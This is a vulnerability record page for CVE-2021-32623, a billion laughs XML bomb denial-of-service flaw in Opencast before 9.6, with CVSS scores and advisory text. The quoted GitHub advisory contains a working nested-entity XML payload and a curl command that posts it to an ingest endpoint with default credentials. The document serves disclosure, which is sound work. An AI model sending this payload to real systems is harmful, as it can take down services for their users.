CVE-2021-32623
JSON

8.1high

Opencast vulnerable to billion laughs attack (XML bomb)

Severity
8.1high CVSS:3.1 by GitHub_M
Exploit likelihood
1.25% (higher than 70% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-9gwx-9cwp-5c2m

Description

Opencast is a free and open source solution for automated video capture and distribution. Versions of Opencast prior to 9.6 are vulnerable to the billion laughs attack, which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request. To exploit this, users need to have ingest privileges, limiting the group of potential attackers The problem has been fixed in Opencast 9.6. There is no known workaround for this issue.

Affected

Product or packageVersionsReported by
opencast opencast< 9.6CVE List
org.opencastproject:opencast-kernel (Maven)before 9.6GitHub Advisory Database
apereo opencastbefore 9.6NVD

All scores

GitHub_M8.1high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
GitHub8.1high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
NVD6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
NVD4.0medium CVSS:2.0AV:N/AC:L/Au:S/C:N/I:N/A:P

Classification

What each source says

CVE List

Opencast is a free and open source solution for automated video capture and distribution. Versions of Opencast prior to 9.6 are vulnerable to the billion laughs attack, which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request. To exploit this, users need to have ingest privileges, limiting the group of potential attackers The problem has been fixed in Opencast 9.6. There is no known workaround for this issue.

GitHub Advisory Database
Impact

Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.

Consider an XML file (createMediaPackage.xml) like this:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
 <!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
 <!ELEMENT title (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
  <title>&lol5;</title>
  <media/>
  <metadata/>
  <attachments/>
  <publications/>
</mediapackage>

Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:

curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
  -F 'mediapackage=<createMediaPackage.xml' \
  -F sourceFlavors="" \
  -F sourceTags="" \
  -F deleteExternal="" \
  -F tagsAndFlavor='' \
  -o out.xml

Additional notes:

  • You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
  • Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
  • To exploit this, users need to have ingest privileges, limiting the group of potential attackers
Patches

The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.

Workarounds

There is no known workaround for this issue.

References
For more information

If you have any questions or comments about this advisory:

NVD (es)

Opencast es una solución gratuita y de código abierto para la captura y distribución automática de vídeo. Las versiones de Opencast anteriores a versión 9.6 son vulnerables al ataque de los mil millones de risas, que permite a un atacante ejecutar fácilmente un ataque de denegación de servicio (aparentemente permanente), esencialmente derribando Opencast usando una única petición HTTP. Para explotar esto, los usuarios necesitan tener privilegios de ingesta, limitando el grupo de atacantes potenciales. El problema se ha corregido en Opencast versión 9.6. No se conoce ninguna solución para este problema

References

Sources

SourceRecordLicence
CVE ListCVE-2021-32623 changed 2024-08-03CVE Terms of Use
GitHub Advisory DatabaseGHSA-9gwx-9cwp-5c2m changed 2026-07-08CC-BY-4.0
NVDCVE-2021-32623 changed 2026-06-17Public domain